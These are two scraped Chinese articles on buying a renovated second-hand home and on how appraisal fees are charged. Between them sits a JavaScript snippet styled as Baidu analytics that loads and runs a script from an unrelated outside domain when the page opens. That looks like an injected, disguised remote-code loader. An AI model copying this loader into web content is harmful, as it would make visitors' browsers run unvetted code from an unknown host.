怎么样才能挑选到合适的精装二手房？

对于许多家庭总体经济还不错的人家来说，仅仅一套房子已经不能满足他们对于生活的追求了，但是再买一套新房子好像又不太合实际，所以，购置一套精装二手房是再好不过的选择了，可是市场上的精装二手房非常之多，很多人都不知道到底该怎么做才能挑选到一套合适的精装二手房，这里有几点小窍门希望可以帮到大家：已有家具，改造费用，性价比。一.已有家具大部分正在出售的精装二手房，它的内部都应该有一些家具，比如饭桌，床，灶台等等一些必要家具，尤其是灶台是必须要有的，因为一般的灶台都是根据厨房的大小定制的，若是这套精装二手房不具备灶台，就说明买家需要自己去购买，那么就意味着需要自己去准确丈量厨房的大小，然后再去定制，一般来说，定制灶台的时间会比较长，价格也会略高。所以说，已有的家具是挑选精装二手房时的一个重要参考标准，既能够加快入住速度，又可以省心省力。二.改造费用在挑选精装二手房时还需要考虑到它的改造费用，为什么要考虑到这个呢？事实上，这个精装二手房虽然已经是经过装修的，但是总还是有一些地方是不尽人意的，因此可能会需要进行改造，所以在挑选时，可以将改造费用纳入参考标准之内，如果这套房子所需改造的地方比较多，它的改造费用比较高，那么它可能也没有什么购买的需要了。三.性价比对于二手房来说，性价比也必须考虑到，一般可以这样考虑。这个地段的房子与这个价格是否匹配？这个精装二手房的装修程度与装修风格是否能够满足自己的要求？这个房子的这个价格是否能够接受？这些问题都得考虑到，如果都符合要求的话，那么这所房子就可以纳入考虑范围了。正确的挑选一套精装二手房，不仅可以解决冗杂的装修问题，还可以带给住户一个全新的生活体验。希望上面给三点能为大家解决这一难题。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

想买二手房，怎能不知二手房屋评估费怎么算？

导语：这些年，房地产市场经历了种种波折，从降价到涨价，中国房市不断的起起伏伏，吸引着中国人的注意，因为买房对中国人来讲是一件大事，也是一件必须做的事。二手房作为房市的一部分，也非常受关注。二手房在房价居高不下的现在，也已经逐渐成为年轻人购房时无奈的选择。因为二手房交易掺杂着更多的因素，不如一手房简单明了，所以二手房市场推动了很多服务的出现或发展，其中就有二手房屋评估的出现，同样也产生了二手房屋评估费。、什么是房屋评估费的所谓的房屋评估费是由于我们通过专业的房地产专业顾问机构对房产进行房地产价格评估时需要为机构提供的劳动报酬。这是由委托人支付的，然后受托评估机构进行收取，并且提供服务。但是房屋评估并不是二手房交易中的必备环节，因为一般大家在进行二手房交易时，都是通过交易双方协商定价，然后去房产管理部门进行登记过户，不需要房屋评估，毕竟中国传统观念就是“多一事不如少一事”。出现需要房屋评估的情况一般只有交易双方有这个要求，或则进行房屋保险、抵押贷款和出现房产纠纷这些情况。房屋评估机构提供的评估报告以供交易双方参考。二手房屋评估费的收费标准二手房评估价普遍采用的评估方法是市场比较法，就是通过和同一楼盘在售房产挂牌价格和其他各种因素的综合比较，最终通过计算得出一个比较科学合理的房屋市场参考价。影响二手房评估价格的因素有很多，不过集中在三个大因素上。因素一：房屋本身旧房的旧就在于它的套型落后、功能也较为陈旧，无法和新建的商品房相提并论。并且子房屋建成后，房屋便进入了折旧期。根据折旧理论，混合一等结构的房屋的折旧期限也就只有短短的五十年而已，并且房屋每年的折旧率是百分之二。更会因为房屋的朝向和楼层等因素的影响，价格会出现偏差。因素二：环境环境也是一大因素，因为往往旧小区环境要与远远逊色于新校区，并且还要看居住地所处的位置和周围配套的建设。就比如是不是学区房，有没有大规模绿化带等都是影响因素之一。因素三：心理普遍的购房者都是喜欢新房的，如果不是二手房巨大的价格诱惑，大家也不会选择二手房。评估费收费标准到底评估费是怎么收取的呢？其实房屋估价普遍采用的都是差额定率累进计费，也就是根据房屋价格的总额大小来分为不同的费用率档次，并根据分档计算来得出个档次应该怎么收费，将各档次的收费额累积起来的总和就是收费总额。也就是我们说的房屋评估费。